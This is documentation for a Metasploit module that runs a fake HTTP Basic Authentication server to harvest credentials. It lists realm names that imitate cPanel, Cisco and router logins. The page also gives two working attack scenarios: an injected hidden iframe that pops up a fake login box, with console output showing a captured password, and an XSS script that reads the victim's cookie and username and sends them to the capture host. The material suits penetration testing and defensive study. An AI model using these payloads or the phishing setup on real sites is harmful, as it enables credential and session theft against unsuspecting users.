This module creates a mock web server which, utilizing a HTTP 401 response, prompts the user to enter credentials for Basic Authentication.
|
|
|
|
## Verification Steps
|
|
|
|
1. Start msfconsole
|
|
2. Do: ```use auxiliary/server/capture/http_basic```
|
|
3. Do: ```run```
|
|
|
|
## Options
|
|
|
|
**REALM**
|
|
|
|
The Realm for the Basic Authentication, which may be displayed in the input box to the user.
|
|
Default is `Secure Site`.
|
|
Some notable Realms to emulate:
|
|
|
|
* `level_15 or view_access`
|
|
* `cPanel`
|
|
* `HuaweiHomeGateway`
|
|
* `Broadband Router`
|
|
|
|
**RedirectURL**
|
|
|
|
After the user enters a set of credentials, their browser will be redirected to this address. Default is ``.
|
|
|
|
**SSL**
|
|
|
|
Boolean if SSL should be used, making this HTTPS. HTTPS is typically run on port 443. If `SSLCert` is not set, a certificate
|
|
will be automatically generated. Default is `False`.
|
|
|
|
**SSLCert**
|
|
|
|
File path to a combined Private Key and Certificate file. If not provided, a certificate will be automatically
|
|
generated. Default is ``.
|
|
|
|
**URIPATH**
|
|
|
|
What URI should be utilized to prompt for the Basic Authentication. For instance, you may want this to run on `/cisco` if you use
|
|
the `REALM` `level_15 or view_access`. Default is ``, which will randomly generate a URIPATH.
|
|
|
|

For some fields there will be a default value,
|
|
If you enter '.', the field will be left blank.

### HTML Injection Social Engineering
|
|
|
|
In this scenario, we're able to inject HTML (but not script) into a website. We'll inject an `iframe`
|
|
that will load our basic authentication website. This payload will pop-up a login box, with the REALM (title)
|
|
set to the website, which will hopefully trick a user into entering their credentials.
|
|
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
|
The HTML was simply edited in the local browser.**
|
|
|
|
HTML Payload Injected:
|
|
|
|
```html
|
|
<iframe width="0" height="0" src="http://127.0.0.1/"></iframe>
|
|
```
|
|
|
|
Server:
|
|
|
|
```
|
|
msf5 > use auxiliary/server/capture/http_basic
|
|
msf5 auxiliary(server/capture/http_basic) > set uripath '/'
|
|
uripath => /
|
|
msf5 auxiliary(server/capture/http_basic) > set REALM "Wordpress.com Login"
|
|
REALM => Wordpress.com Login
|
|
msf5 auxiliary(server/capture/http_basic) > run
|
|
[*] Auxiliary module running as background job 0.
|
|
msf5 auxiliary(server/capture/http_basic) >
|
|
[*] Using URL: http://0.0.0.0:80/
|
|
[*] Local IP: http://192.168.2.117:80/
|
|

|
|
[+] 127.0.0.1 - Credential collected: "metasploit_blog:ms08-0sK1NG!" => /
|
|
```
|
|
|
|
Client:
|
|
|
|

|
|
|
|
### XSS Cookie Theft
|
|
|
|
In this scenario, we're able to inject JavaScript into a website. We'll first get the user's cookie, then with jQuery
|
|
pull the username from the `username` field. Because the cookie may contain fields break URI parsing (like `@`)
|
|
we use `btoa` to base64 encode the cookie. Next we'll write an `iframe`
|
|
that will silently attempt a login to our basic authentication website.
|
|
**The following scenario is a demonstration, no actual vulnerability was identified, or tested.
|
|
The HTML was simply edited in the local browser.**
|
|
|
|
Payload:
|
|
|
|
```html
|
|
<script>
|
|
var cookie = document.cookie;
|
|
var username = $('#username').text();
|
|
document.write('<iframe width="0" height="0" src="http://' + username + ':' + btoa(cookie) + '@127.0.0.1/"></iframe>');
|
|
</script>
|
|
```
